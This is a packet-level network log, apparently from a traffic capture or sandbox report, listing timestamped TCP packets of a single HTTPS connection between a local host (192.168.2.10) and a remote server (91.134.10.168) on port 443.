Dec 13, 2024 13:27:31.222605944 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.222692013 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.223915100 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.223969936 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.225853920 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.225898981 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.227052927 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.227159023 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.228806019 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.228852034 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.230706930 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.230765104 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.232670069 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.232716084 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.233793020 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.233844042 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.235616922 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.235667944 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.237570047 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.237618923 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.238688946 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.238738060 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.240504980 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.240746021 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.242556095 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.242605925 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.243592024 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.243645906 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.245637894 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.245728016 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.247427940 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.247477055 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.248471022 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.248511076 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.250449896 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.250504971 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.252296925 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.252343893 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.253489971 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.253535986 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.255372047 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.255419970 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.257328987 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.257379055 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.258795977 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.258852959 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.260701895 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.260752916 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.261692047 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.261744976 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.263710976 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.263772011 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.265492916 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.265583038 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.266587973 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.266649961 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.268512011 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.268562078 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.270390987 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.270458937 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.271511078 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.271564960 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.273456097 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.273503065 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.415199995 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.415285110 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.416273117 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.416371107 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.418111086 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.418339014 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.419987917 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.420061111 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.421163082 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.421269894 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.423103094 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.423260927 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.424927950 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.425101042 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.426898003 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.426971912 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.427984953 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.428040028 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.429857016 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.429935932 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.431806087 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.431857109 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.432892084 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.432954073 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.434849977 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.434909105 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.436738968 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.436894894 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.437870026 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.437957048 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.439632893 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.439820051 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.441833973 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.441891909 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.442655087 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.442908049 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.444705009 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.444822073 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.446552992 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.446629047 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.447648048 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.447715044 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.449970961 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.450088024 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.451126099 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.451184988 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.452892065 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.452964067 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.454890013 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.455032110 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.455954075 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.456073999 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.457770109 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.457834005 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.459768057 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.459866047 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.460836887 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.460911989 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.462789059 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.462893009 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.464672089 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.464966059 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.465697050 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.465800047 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.621427059 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.621499062 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.623169899 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.623255014 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.624377012 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.624569893 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.626224041 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.626563072 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.628000021 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.628079891 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.629065990 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.629144907 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.631115913 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.631273031 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.632909060 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.633059025 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.634071112 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.634170055 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.636017084 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.636070967 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.637794018 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.637883902 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.639802933 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.639866114 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.640868902 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.641436100 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.642729998 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.642797947 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.644721031 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.644787073 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.645782948 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.645864010 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.647595882 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.647653103 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.649585962 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.650415897 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.650672913 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.650839090 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.652127981 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.652192116 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.654206991 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.654267073 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.655973911 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.656063080 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.657964945 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.658030033 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.659022093 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.659123898 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.660932064 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.661010027 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.662858963 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.662952900 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.663971901 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.664268970 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.665797949 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.666059017 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.667720079 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.667802095 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.668844938 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.668925047 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.670643091 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.670747042 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.935564041 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.935669899 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.058538914 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.058609009 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.058656931 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.058656931 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.058686972 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.058701992 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.058773041 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.058808088 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.058808088 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.058815956 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.058900118 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.058963060 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.059015036 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.059170008 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.059228897 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.059240103 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.059248924 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.059331894 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.060165882 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.060200930 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.060237885 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.060245037 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.060257912 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.060271978 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.060295105 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.060333014 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.060333014 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.060342073 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.060698986 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.060899019 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.060935020 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.060942888 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.060942888 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.060950994 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.060987949 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.060987949 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.061038971 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.061527967 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.061779976 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.061928034 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.061959982 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.061978102 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.061978102 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.061986923 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.062556982 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.062714100 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.062741995 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.062808990 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.062808990 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.062818050 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.062866926 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.062899113 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.062936068 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.062936068 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.062942982 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.063045979 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.063333988 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.063343048 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.063728094 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.063823938 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.063998938 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.064124107 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.064181089 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.064300060 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.064331055 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.064331055 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.064357996 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.064527035 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.065259933 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.065295935 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.065323114 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.065346003 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.065346003 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.065356016 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.065366983 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.065375090 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.065618038 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.066145897 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.066188097 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.066220045 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.066231012 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.066231012 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.066241980 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.066257000 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.066282034 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.066282034 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.066292048 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.066315889 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.067099094 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.067142963 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.067192078 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.067192078 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.067199945 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.067411900 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.067455053 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.067478895 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.067486048 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.067604065 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.067635059 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.067643881 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.067643881 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.067652941 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.067672968 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.067744017 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.067886114 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.067893028 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.068463087 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.068497896 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.068526030 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.068533897 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.068542004 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.068558931 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.068576097 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.068576097 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.068634033 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.068639994 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.068761110 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.069391966 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.069427967 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.069451094 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.069457054 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.069492102 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.069499016 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.069499016 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.069509029 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.069647074 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.069714069 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.069833040 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.069842100 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.070018053 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.070267916 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.070426941 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.070462942 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.070627928 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.070811987 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.070859909 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.070873022 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.070894003 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.070894003 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.070902109 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.070916891 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.070949078 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.071104050 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.071109056 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.071129084 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.071186066 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.071186066 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.071192026 CET	443	49712	91.134.10.168	192.168.2.10
